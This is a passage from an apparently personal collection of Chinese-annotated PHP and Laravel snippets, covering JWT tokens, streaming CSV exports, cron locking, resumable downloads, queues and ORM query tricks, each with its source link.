if (isset($payload['nbf']) && $payload['nbf'] > time())
return false;

return $payload;
}

/**
* base64UrlEncode https://jwt.io/ 中base64UrlEncode编码实现
* @param string $input 需要编码的字符串
* @return string
*/
private static function base64UrlEncode(string $input)
{
return str_replace('=', '', strtr(base64_encode($input), '+/', '-_'));
}

/**
* base64UrlEncode https://jwt.io/ 中base64UrlEncode解码实现
* @param string $input 需要解码的字符串
* @return bool|string
*/
private static function base64UrlDecode(string $input)
{
$remainder = strlen($input) % 4;
if ($remainder) {
$addlen = 4 - $remainder;
$input .= str_repeat('=', $addlen);
}
return base64_decode(strtr($input, '-_', '+/'));
}

/**
* HMACSHA256签名 https://jwt.io/ 中HMACSHA256签名实现
* @param string $input 为base64UrlEncode(header).".".base64UrlEncode(payload)
* @param string $key
* @param string $alg 算法方式
* @return mixed
*/
private static function signature(string $input, string $key, string $alg = 'HS256')
{
$alg_config=array(
'HS256'=>'sha256'
);
return self::base64UrlEncode(hash_hmac($alg_config[$alg], $input, $key,true));
}
}
$token = JwtBase::getToken(['user_id'=>$user->id]);//生成token https://learnku.com/articles/21951

$header = $request->header('Authorization');//验证
$token = explode(' ',$header);
if(!$header || !$token){
return $this->json(419,'登录信息已过期,重新登录');
}
$data = JwtBase::verifyToken($token[1]);
if(!$data){
return $this->json(419,'登录信息已过期,重新登录');
}

PHP 读取超大文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
https://www.itcodemonkey.com/article/11835.html
随便找一个nginx的日志文件,哪怕只有10KB,假设文件名是test.log,然后呢执行" cat test.log >> test.log "
<?php
$begin = microtime( true );
$fp = fopen( './test.log', 'r' );
while( false !== ( $buffer = fgets( $fp, 4096 ) ) ){
//echo $buffer.PHP_EOL;
}
if( !feof( $fp ) ){
throw new Exception('... ...');
}
fclose( $fp );
$end = microtime( true );
echo "cost : ".( $end - $begin ).' sec'.PHP_EOL;

<?php
$begin = microtime( true );
$fp = fopen( './test.log', 'r' );
while( !feof( $fp ) ){
// 如果你要使用echo,那么,你会很惨烈...
fread( $fp, 10240 );
}
fclose( $fp );
$end = microtime( true );
echo "cost : ".( $end - $begin ).' sec'.PHP_EOL;

下载超大数据量的Excel文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/**
* 文章访问日志https://www.itcodemonkey.com/article/9909.html
* 下载的日志文件通常很大, 所以先设置csv相关的Header头, 然后打开
* PHP output流, 渐进式的往output流中写入数据, 写到一定量后将系统缓冲冲刷到响应中
* 避免缓冲溢出
*/
public function articleAccessLog($timeStart, $timeEnd)
{
set_time_limit(0);
$columns = [
'文章ID', '文章标题', ......
];
$csvFileName = '用户日志' . $timeStart .'_'. $timeEnd . '.xlsx';
//设置好告诉浏览器要下载excel文件的headers
header('Content-Description: File Transfer');
header('Content-Type: application/vnd.ms-excel');
header('Content-Disposition: attachment; filename="'. $fileName .'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
$fp = fopen('php://output', 'a');//打开output流
mb_convert_variables('GBK', 'UTF-8', $columns);
fputcsv($fp, $columns);//将数据格式化为CSV格式并写入到output流中
$accessNum = '1000000'//从数据库获取总量,假设是一百万
$perSize = 1000;//每次查询的条数
$pages = ceil($accessNum / $perSize);
$lastId = 0;
for($i = 1; $i <= $pages; $i++) {
$accessLog = $logService->getArticleAccessLog($timeStart, $timeEnd, $lastId, $perSize);
foreach($accessLog as $access) {
$rowData = [
......//每一行的数据
];
mb_convert_variables('GBK', 'UTF-8', $rowData);
fputcsv($fp, $rowData);
$lastId = $access->id;
}
unset($accessLog);//释放变量的内存
//刷新输出缓冲到浏览器
ob_flush();
flush();//必须同时使用 ob_flush() 和flush() 函数来刷新输出缓冲。
}
fclose($fp);
exit();
}
SELECT columns FROM `table_name`
WHERE `created_at` >= 'time range start'
AND `created_at` <= 'time range end'
AND `id` < LastId
ORDER BY `id` DESC
LIMIT num

判断一个图像的类型

1
2
3
if (exif_imagetype("image.gif") != IMAGETYPE_GIF) {
echo "The picture is not a gif";
}

给定任意数,计算是2的几次方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function power($number){
if ($number < 0) {
return false;
}

if (($number & ($number - 1)) == 0) {

// 数学不好的,就看下面的方法https://blog.fastrun.cn/2018/07/21/1-31/
// $number = decbin($number);
// return (mb_strlen($number)-1);
// 数学可以的就看下面的方法
return floor(log($number,2));
} else {
return false;
}
}

CURL 发送文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

<form action="/testFile" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" />
</form>
// form 提交
Route::any("/testFile","TestController@testFile");
// form action 接收
Route::any("/testLoadFile","TestController@testLoadFile");
public function testFile(Request $request){
$data = array(
'file'=> new \CURLFile(realpath($request->file('file')->path())),
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"/testLoadFile");//此处以当前服务器为接收地址
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT,10);//设置最长等待时间
curl_setopt($ch, CURLOPT_POST, 1);//post提交
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

$data = curl_exec($ch);//执行
if(curl_errno($ch)){
return curl_error($ch);
}
curl_close($ch);//释放

return json_encode($data);
}
public function testLoadFile(Request $request){
if ($request->hasFile('file')) {
if ($request->file('file')->isValid()){
// 上传成功
// 随机名字 . 后缀
$fileName = "other/".Date("YmdHis").substr(md5(time()),5,15).".".$request->file("file")->extension();// 需要 开启php_fileinfo 扩展 否则会报错
// 获取临时上传的路径(如果不存在本地,则方法调用完之后,会被删除)
//$fileUrl = $request->file('file')->path();
// 可选存储在本地
$fileUrl = $request->file("file")->move(__DIR__."/",$fileName);

return ($fileUrl);
}
}
return json_encode([]);
}

流的方法导出 Excel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public function export($params)
{
set_time_limit(0);

$columns = ['字段名'];

$fileName = 'GPS管理明细' . '.csv';
//设置好告诉浏览器要下载excel文件的headers https://learnku.com/articles/17829
header('Content-Description: File Transfer');
header('Content-Type: application/vnd.ms-excel');
header('Content-Disposition: attachment; filename="'. $fileName .'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');

$fp = fopen('php://output', 'a');//打开output流
mb_convert_variables('GBK', 'UTF-8', $columns);
fputcsv($fp, $columns); //将数据格式化为CSV格式并写入到output流中

$num = $this->getExportNum($params);
$perSize = 2000;//每次查询的条数
$pages = ceil($num / $perSize);

for($i = 1; $i <= $pages; $i++) {
$list = $this->getUnitExportData($params, $i, $perSize);

foreach($list as $item) {
$rowData[] = $this->switchDeviceMakerToDesc($item['device_maker']);
.
.
.
mb_convert_variables('GBK', 'UTF-8', $rowData);
fputcsv($fp, $rowData);
unset($rowData);
}
unset($accessLog);//释放变量的内存

ob_flush(); //刷新输出缓冲到浏览器
flush(); //必须同时使用 ob_flush() 和flush() 函数来刷新输出缓冲。
}
fclose($fp);
exit();
}

laravel orm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
取出一组热门作者及他们最近发表的3篇文章
$users = \App\Models\User::with(['posts' => function ($query) {
$query->limit(3);
}])->limit(10)->get();
select
*
from
`posts`
where
`posts`.`user_id` in (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
limit
3

$users = \App\Models\User::limit(10)->get();

$users = $users->map(function ($user) {
//可以考虑$user->id缓存,在保证了速度的同时避免大面积的缓存重建
$user->posts = $user->posts()->limit(3)->get();

return $user;
});

return $users;
SELECT
posts.*,
@number := IF (@current_user_id = `user_id`, @number + 1, 1) AS number,
@current_user_id := `user_id`
FROM
(select * from `posts` where `posts`.`user_id` IN (572, 822, 911, 103, 234, 11, 999, 333, 121, 122) order by `posts`.`user_id` ASC) AS posts
HAVING
number <= 3
# User.php

public function latestPosts()
{
return $this->belongsToMany(Post::class, 'user_latest_post')
}
使用https://learnku.com/articles/24787#topnav

$users = \App\Models\User::with(['latestPosts'])->limit(10)->get();

curl时设置Expect

1
2
3
4
5
6
7
8
9
10
11
12
在不设置 Expect 头信息使用 curl 发送 POST 请求时,如果 POST 数据大于 1kb,curl 默认行为 如下:
https://www.fanhaobai.com/2017/08/curl-expect-continue.html
先追加一个Expect: 100-continue请求头信息,发送这个不包含 POST 数据的请求;
如果服务器返回的响应头信息中包含Expect: 100-continue,则表示 Server 愿意接受数据,这时才 POST 真正数据给 Server;
// qq第三方api
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));

// guzzle的curl Adapter
if (!$request->hasHeader('Expect')) {
$conf[CURLOPT_HTTPHEADER][] = 'Expect:';
}
再次 tcpdump 抓包,发现使用 curl 发送超过 1kb 的 POST 数据时,也并未出现 100-continue 的 HTTP 请求。

身份证的编码规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const ID_15_PREG = '/^[1-9]\d{7}(0[1-9]|1[0-2])([0-2][1-9]|[1-2]0|31)\d{3}$/';
//https://www.fanhaobai.com/2017/08/id-card.html
public static function validate($id)
{
if (!is_string($id) || empty($id)) {
return false;
} else if (strlen($id) == 15 && preg_match(static::ID_15_PREG, $id)) {
return true;
}
return false;
}
const ID_18_PREG = '/^[1-9]\d{5}[1-9]\d{3}(0[1-9]|1[0-2])([0-2][1-9]|[1-2]0|31)(\d{4}|\d{3}[Xx])$/';

public static function validate($id)
{
if (!is_string($id) || empty($id)) {
return false;
} else if (strlen($id) == 18 && preg_match(static::ID_18_PREG, $id) && strtoupper($id[17]) === self::getCheckBit($id)) {
return true;
} else if (strlen($id) == 15 && preg_match(static::ID_15_PREG, $id)) {
return true;
}
return false;
}
15 位身份证转化为 18 位的代码如下:

public static function format18($id)
{
if (!static::validate($id)) {
return '';
} else if (15 !== strlen($id)) {
return $id;
}
$newId = substr($id, 0, 6) . '19' . substr($id, -9) . 'X';
$newId[17] = static::getCheckBit($newId);
return $newId;
}
转化示例结果:

//15位---------------------18位
'370725881105149' => '37072519881105149X'

定时脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
在不增加脚本文件可执行权限的情况,可以直接使用sh命令解决。
https://www.fanhaobai.com/2017/07/php-cli-setting.html
# 直接执行
$ sh ./crontab.sh
# crontab
$ crontab -e
10 0 * * * sh /mnt/hgfs/Code/ziroom/crontab/cli/crontab.sh > /home/log/cli.log
单实例防并发

脚本往往只需要单实例执行,甚至有时候启动多个实例并行执行会带来不可预期的错误。例如,一个脚本执行时间偶尔会超过 10 分钟,而我又需要以每 5 分钟的频率执行,那么不可避免的会出现多实例并发执行的异常情况,这时可以使用 文件锁 来保证脚本的单实例执行。

当然,我们可以在脚本中实现文件锁,但是我们往往希望脚本只涉及到业务逻辑,这样方便维护。此时可以使用flock命令来解决:

# flock文件锁
5 * * * * /usr/bin/flock -xn /var/run/crontab.lock -c "/mnt/hgfs/Code/ziroom/crontab/cli/crontab.sh > /home/log/cli.log"
使用 flock 命令,一个明显的好处是不对业务有任何侵入,脚本只需关注业务逻辑。

错误调试

调试脚本时,遇到一些系统层面的错误问题,一般都不易发现,这时使用strace可以用来查看系统调用的执行,才是解决问题的根本。

$ strace crontab.sh

execve("./crontab.sh", ["./crontab.sh"], [/* 29 vars */]) = 0
brk(0) = 0x106a000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0434160000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=53434, ...}) = 0
mmap(NULL, 53434, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f0434152000
close(3) = 0
open("/lib64/libc.so.6", O_RDONLY) = 3

PHP文件锁机制

1
2
3
4
5
6
7
8
9
10
11
12
//获取指针
$file = 'lock/increase.txt';
$fp = fopen($file, 'r');
//加排他锁
flock($fp, LOCK_EX);
//数据操作
$key = 'company_watch_num_' . $request['company_id'];
Cache::increment($key);
//解锁
flock($fp, LOCK_UN);
//关闭指针
fclose($fp);

关闭错误日志

1
2
3
4
5
,通过 error_log off 并不能关闭错误日志记录,而它只是表示将日志文件写入一个文件名为 off 的文件中。

如果需要关闭错误日志记录,应使用以下配置:

error_log /dev/null crit; # 把存储位置设置为linux的黑洞

php实现多进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
producer.php

<?php

echo microtime(true).'<br>';

$url = 'http://localhost/consumer.php';
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 1);

curl_setopt($curl, CURLOPT_NOSIGNAL, 1);
curl_setopt($curl, CURLOPT_TIMEOUT_MS, 200); //超时等待时间为200ms

curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
curl_close($curl);

echo microtime(true);
consumer.php

<?php
ignore_user_abort(true); //客户端断开链接后,php脚本继续运行. 这行代码可能有点多余,但是无法准确的证明,所以先留着
set_time_limit(0); //保证程序长时间运行不中断 http://eienao.com/posts/use-php-to-achieve-a-multi-process-ideas.html

while(true) {
file_put_contents('./date', time());
sleep(2);
}

反射机制实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
http://eienao.com/posts/a-brief-introduction-to-the-realization-of-container-reflection-mechanism.html
namespace Container;

class Container
{
public static function make($class)
{
$reflection = new \ReflectionClass($class);

$constructor = $reflection->getConstructor();
$parameters = $constructor->getParameters();

$instances = [];

foreach ($parameters as $parameter) {
$className = $parameter->getClass()->getName();
$instances[] = new $className;
}

//... 将数组拆封成参数传递给方法, 类似于 call_user_func_array()
return new $class(...$instances);
}
}
<?php

namespace Container\Foo;

use Container\Bar\BarA;
use Container\Bar\BarB;
use Container\Bar\BarC;
use Container\Bar\BarD;

class Foo
{
private $barA;
private $barB;
private $barC;
private $barD;

public function __construct(BarA $barA, BarB $barB, BarC $barC, BarD $barD)
{

$this->barA = $barA;
$this->barB = $barB;
$this->barC = $barC;
$this->barD = $barD;
}

public function allBarName()
{
return $this->barA->name().'/'.$this->barB->name().'/'.$this->barC->name().'/'.$this->barD->name();
}
}
<?php

namespace Container\Bar;

class BarA
{
public function name()
{
return '彼得·帕克';
}
}
$foo = \Container\Container::make(\Container\Foo\Foo::class);
echo $foo->allBarName(); // 彼得·帕克/托尼·屎大颗/巴里·艾伦/布鲁斯·韦恩 https://github.com/weiwenhao/container
$foo = new \Container\Foo\Foo(
new \Container\Bar\BarA(),
new \Container\Bar\BarB(),
new \Container\Bar\BarC(),
new \Container\Bar\BarD()
);
echo $foo->allBarName();

cron

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
设定每个脚本最多执行时间位 200秒,超过 200秒 就自动死掉。https://learnku.com/articles/25177

* * * * * timeout 200 php /home/app/email.php
如果这个脚本执行时间超过 60秒,下一分钟又会执行 php email.php,如果避免重复执行?
* * * * * flock -xn /tmp/test.lock -c "timeout 200 php /home/app/email.php"

10s 执行一次怎么办?

* * * * * php /home/app/email.php >> /home/log/test.log 2>&1
* * * * * ( sleep 10 ; php /home/app/email.php >> /home/log/test.log 2>&1 )
* * * * * ( sleep 20 ; php /home/app/email.php >> /home/log/test.log 2>&1 )
* * * * * ( sleep 30 ; php /home/app/email.php >> /home/log/test.log 2>&1 )
* * * * * ( sleep 40 ; php /home/app/email.php >> /home/log/test.log 2>&1 )
* * * * * ( sleep 50 ; php /home/app/email.php >> /home/log/test.log 2>&1 )c
cat test.php
$i = 10000;
while ($i > 0) {
echo --$i . \PHP_EOL;
sleep(1);
}

分割数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//源数据
$origin =[];
//当前本地数据
$current=[];
//生成10000个数据
for($i=1;$i<10000;$i++) {
$origin[] = ['id' => $i, 'title' => 'title'.$i, 'content' => 'name'.$i];
}
//假设本地的数据已经取好了,我用title来作为唯一值来处理吧,容易认一点
for($i=5000;$i<8000;$i++) {
$current[] = 'title'.$i;
}
$t1 = microtime(true);
$insertArr = [];
$updateArr = [];
foreach ($origin as $k=>$value) {
if (!in_array($value['title'], $current)) {
$insertArr[] = $value;
}else {
$updateArr[] = $value;
}
}

$t2 = microtime(true);
dd($t2 - $t1);

$t1 = microtime(true);
array_walk($origin, function($value) use ($current, &$insertArr, &$updateArr) {
if (!in_array($value['title'], $current)) {
$insertArr[] = $value;
} else {
$updateArr[] = $value;
}
});
或者
array_map(function($value) use ($current, &$insertArr, &$updateArr) {
if (!in_array($value['title'], $current)) {
$insertArr[] = $value;
} else {
$updateArr[] = $value;
}
}, $origin);
$t2 = microtime(true);
dd($t2 - $t1);
/**
* 对比法分割数组https://learnku.com/articles/25250
*
* @param $key 通过指定键(key)去对比
* @param $origin 原数组
* @param $split 分割数组 (源数组中的某个键的值)
* @return array ['split'=>被分割出来的数组, 'remainders'=>剩余的数据];
*/
function splitArr($key, $origin, $split)
{
//把title取出来做为键
$origin_new = array_combine(array_column($origin, $key), $origin);
//把值作为键
$split_flip = array_flip($split);

//剩余的源数据 (用键来做差集比较得剩余的源数据)
$remainders = array_diff_key($origin_new, $split_flip);
//被分割出来的数据
$new_split = array_diff_key($origin_new, $remainders);

return ['split'=>$new_split, 'remainders'=>$remainders];
}

json_encode()如何转化一个对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//https://blog.yiranzai.cn/posts/26855/

class JsonTest implements JsonSerializable
{
public const TEST = 'c';
public $a = 'a';
public static $b = 'b';
protected $e = 'e';
private $d = 'd';

protected function test1()
{
return __FUNCTION__;
}

private function test2()
{
return __FUNCTION__;
}

public function test3()
{
return __FUNCTION__;
}

public static function test4()
{
return __FUNCTION__;
}

public function jsonSerialize()
{
$json = array();
foreach ($this as $key => $value) {
$json[$key] = $value;
}
return $json;
}
}
echo json_encode(new JsonTest());//{ "a": "a", "e": "e", "d": "d" }
>>> $a = [1,2,3,4];

>>> json_encode($a);
=> "[1,2,3,4]"
>>> json_encode((object)$a);
=> "{"0":1,"1":2,"2":3,"3":4}"
>>> json_encode($a,JSON_FORCE_OBJECT);
=> "{"0":1,"1":2,"2":3,"3":4}"
>>> json_encode($a,JSON_FORCE_OBJECT|JSON_PRETTY_PRINT);
=> """
{\n
"0": 1,\n
"1": 2,\n
"2": 3,\n
"3": 4\n
}
"""

断点续传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
class FileDownload{ // class start  
private $_speed = 512; // 下载速度

/** 下载
* @param String $file 要下载的文件路径
* @param String $name 文件名称,为空则与下载的文件名称一样
* @param boolean $reload 是否开启断点续传
*/
public function download($file, $name='', $reload=false){
if(file_exists($file)){
if($name==''){
$name = basename($file);
}

$fp = fopen($file, 'rb');
$file_size = filesize($file);

$ranges = $this->getRange($file_size);

header('cache-control:public');
header('content-type:application/octet-stream');
header('content-disposition:attachment; filename='.$name);


if($reload && $ranges!=null){ // 使用续传
header('HTTP/1.1 206 Partial Content');
header('Accept-Ranges:bytes');
// 剩余长度
header(sprintf('content-length:%u',$ranges['end']-$ranges['start']));
// range信息
header(sprintf('content-range:bytes %s-%s/%s', $ranges['start'], $ranges['end'], $file_size));
// fp指针跳到断点位置
fseek($fp, sprintf('%u', $ranges['start']));
}else{
header('HTTP/1.1 200 OK');
header('content-length:'.$file_size);
}

while(!feof($fp)){
echo fread($fp, round($this->_speed*1024,0));
ob_flush();
sleep(1); // 用于测试,减慢下载速度
}
($fp!=null) && fclose($fp);
}else{
return '';
}
}

/** 设置下载速度
* @param int $speed
*/

public function setSpeed($speed){
if(is_numeric($speed) && $speed>16 && $speed<4096){
$this->_speed = $speed;
}
}





/** 获取header range信息
* @param int $file_size 文件大小
* @return Array
*/

private function getRange($file_size){
if(isset($_SERVER['HTTP_RANGE']) && !empty($_SERVER['HTTP_RANGE'])){
$range = $_SERVER['HTTP_RANGE'];
$range = preg_replace('/[\s|,].*/', '', $range);
$range = explode('-', substr($range, 6));
if(count($range)<2){
$range[1] = $file_size;
}
$range = array_combine(array('start','end'), $range);
if(empty($range['start'])){
$range['start'] = 0;
}
if(empty($range['end'])){
$range['end'] = $file_size;
}
return $range;
}
return null;
}
}


$file = 'book.zip';
$name = time().'.zip';
$obj = new FileDownload();
$flag = $obj->download($file, $name);
//$flag = $obj->download($file, $name, true); // 断点续传

if(!$flag){
echo 'file not exists';
}

字节处理函数pack unpack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
将数据打包成二进制字符串https://learnku.com/articles/25414#topnav
var_dump(pack('C', 80))//P
var_dump(pack('C*', 80, 72, 80)) //PHP
var_dump(unpack('C', 'P'))//[1=>80]
var_dump(unpack('C*', 'PHP')) //
unpack('H*hello/C*world', 'PHP')

[
"hello" => "504850",
"world1" => 80,
"world2" => 72,
"world3" => 80,
]

unpack('H*/C*', 'PHP')

[
1 => 80,
2 => 72,
3 => 80,
]
$pack = unpack('C*', '\x00\x10')

$tmp = array_map(function ($val) {
$val = base_convert($val, 10, 2);
$val = str_pad($val, 8, 0, STR_PAD_LEFT);
return $val;
}, $pack);

echo implode(' ', $tmp);

01011100 01111000 00110000 00110000 01011100 01111000 00110001 00110000

文件yield

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 /**
* 获取所有符合条件的日志内容https://learnku.com/laravel/t/25396#reply83796
*https://github.com/y-ui/laravel-running-time/blob/master/src/Commands/RunningTimeCommand.php
* @return array
*/
protected function getLogFiles()
{
$files = [];
$days = $this->end->diff($this->start)->format('%a');
for ($n = 0; $n <= $days; $n++) {
$files[] = $this->logPath . '/' . $this->start->format('Y-m-d') . '.log';
$this->start->modify('+1 days');
}
$contents = [];
foreach ($files as $file) {
if (file_exists($file)) {
//默认还是使用file函数读取,但是使用yield,有效减少了多个日志文件统计时的内存开销,因为数据越多使用fgets花费时间越多,400W数据时 时间差达到了100%
if ($this->option('lessMemory')) {
$fp = fopen($file, 'r');
while (($line = fgets($fp)) !== false) {
yield $line;
}
fclose($fp);
} else {
yield file($file);
}
}
}
return $contents;
}
$logs = $this->getLogFiles();
$pathTimes = $times = [];
foreach ($logs as $log) {
list($time, $path) = explode('||', rtrim($log));
if (!isset($pathTimes[$path])) {
$pathTimes[$path] = [
'path' => $path,
'max' => 0,
'min' => 0,
'count' => 0,
'total' => 0,
];
}
if ($time > $pathTimes[$path]['max']) $pathTimes[$path]['max'] = $time;
if ($time < $pathTimes[$path]['min']) $pathTimes[$path]['min'] = $time;
++$pathTimes[$path]['count'];
$pathTimes[$path]['total'] += $time;
}
register_shutdown_function(__NAMESPACE__ . '\RunningTimeCommand::errorHandle');
public static function errorHandle()
{
$error = error_get_last();
if ($error && stripos($error['message'], 'Allowed memory size of') !== false) {
echo "\n Warnning: Out of memory! you can run command with --lessMemory to reduce memory usage\n";
exit;
}
}

队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
队列是一种特殊的线性表(链表),特殊之处在于它只允许在表的前端(front)进行删除操作,而在表的后端(rear)进行插入操作(FIFO),和栈一样,队列是一种操作受限制的线性表。进行插入操作的端称为队尾,进行删除操作的端称为队头。
队列是先进先出https://learnku.com/articles/25814
队列中数据元素之间的关系是一对一的关系,即除了第一个和最后一个数据元素之外,其它数据元素都是首尾相接的。
class Node{
public $data;
public $next;

public function __construct($data,$next=null){
$this->data = $data;
$this->next = $next;
}
}

class Queue{
public $front = null;
public $rear = null;

public $size = 0;

public function __construct(){

}

public function push($data)
{
$n = new Node($data);
if($this->front == null && $this->rear == null){
$this->front = $n;
$this->rear = $n;
}else{
$this->rear->next = $n;
$this->rear = $n;
}
$this->size++;
}

public function shift()
{
if($this->front){
$this->size--;
$data = $this->front->data;
$this->front = $this->front->next;
return $data;
}else{
return null;
}
}

}

// $s = new Queue();
// $s->push("aaaa");
// $s->push("bb");
// $s->push("cc");
// $s->push("dd");
// $s->push("fifo");

// // echo $s->shift();

// while($data = $s->shift()){
// echo $data."<br>";
// }

//数组实现队列https://learnku.com/articles/25814
// $arr = [];
// array_push($arr,"张三");
// array_push($arr,"李四");
// array_push($arr,"王五");
// array_push($arr,"王六");

// while($data = array_shift($arr)){
// echo $data."<br>";
// }
//数组实现队列
$arr = [];//定义一个数组队列
array_push($arr,"张三");//压入到队列尾部
array_push($arr,"李四");
array_push($arr,"王五");
array_push($arr,"王六");

while($data = array_shift($arr)){//从头部弹出一个队列数据
echo $data."<br>";
}

PhpSpreadsheet 实现读取写入 Execl

1
2
3
4
5
6
7
8
9
composer require phpoffice/phpspreadsheet
require'vendor/autoload.php';
usePhpOffice\PhpSpreadsheet\Spreadsheet;
usePhpOffice\PhpSpreadsheet\Writer\Xlsx;
https://laravelacademy.org/post/19518.html
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
$sheet->setCellValue('A1', 'Hello World !');$writer = new Xlsx($spreadsheet);
$writer->save('hello world.xlsx');

重试机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$retry = 2;//http://liuxiaochun.cn/2018/08/10/php-mongoclient-no-candidate-servers-found-%E5%88%86%E6%9E%90/
do {
try {
$mongo = new MongoClient("mongodb://127.0.0.1:27018",
array(
'replicaSet' => 'rs0',
'connect' => true,
'connectTimeoutMS' => 10000
));
break;
} catch(MongoException $e) {
if (0 == $retry--) {
//log
return;
}
}
} while($retry);

laravel first 更新不成功

1
2
3
4
5
6
7
$user =user::where('id',2)->first(['name','age']);
$user->name='php'
$user->save();
//正确
$user =user::where('id',2)->first(['name','id']);
$user->name='php'
$user->save();

Laravel 关联查询限制条数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
select `u`.`id`,`u`.`name`,`num` from `users` as `u` left join (select `user_id`,count(*) as `num` from books group by `user_id`) as `b` on `u`.id = `b`.user_id
select distinct `u`.`id`,`u`.`name`,IFNULL( `b`.`num`, 0 ) AS num from `users` as `u` left join (select `user_id`,count(*) as `num` from books group by `user_id`) as `b` on `u`.id = `b`.user_id
public function test3(){
//统计出所有内部员工的user_id https://learnku.com/articles/25944
$user_ids = [1,2,3,4,5];
$users = User::selectRaw('u.id,IFNULL( b.number, 0 ) AS number')
->from('users as u')
->distinct()
->whereIn('id', $user_ids)
->leftJoin('books as b',function ($join) use($user_ids){
$join->selectRaw('user_id,count(*) as number')->whereIn('user_id', $user_ids)->groupBy('user_id')->on('u.id', '=', 'b.user_id');
})
->get();
return $users;
}
Unknown column 'b.number' in 'field list' (SQL: select distinct u.id,IFNULL( b.number, 0 ) AS number from `users` as `u` left join `books` as `b` on `user_id` in (1, 2, 3, 4, 5) and `u`.`id` = `b`.`user_id` where `id` in (1, 2, 3, 4, 5))

public function test2(){

//统计出所有内部员工的user_id

$user_ids = [1,2,3,4,5];

$bookQuery = Book::selectRaw('user_id,count(*) as number')->whereIn('user_id', $user_ids)->groupBy('user_id'); //制作一个query builder

$users = User::selectRaw('u.id,IFNULL( b.number, 0 ) AS number')
->from('users as u')
->distinct()
->whereIn('id', $user_ids)
->leftJoin(\DB::raw("({$bookQuery->toSql()}) as b"),function ($join) use($bookQuery){
//toSql()返回的是等待绑定参数的SQL语句
$join->mergeBindings($bookQuery->getQuery())->on('u.id','=','b.user_id');
//mergeBindings是将SQl的参数进行绑定
})
->get();

return $users;
}

laravel MassAssignmentException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
>>> $s= Stock::where(['uid'=>3230498441,'readtime'=>0 ])->first()
=> <Stock #0000000041071db4000000000f7f2b98> {
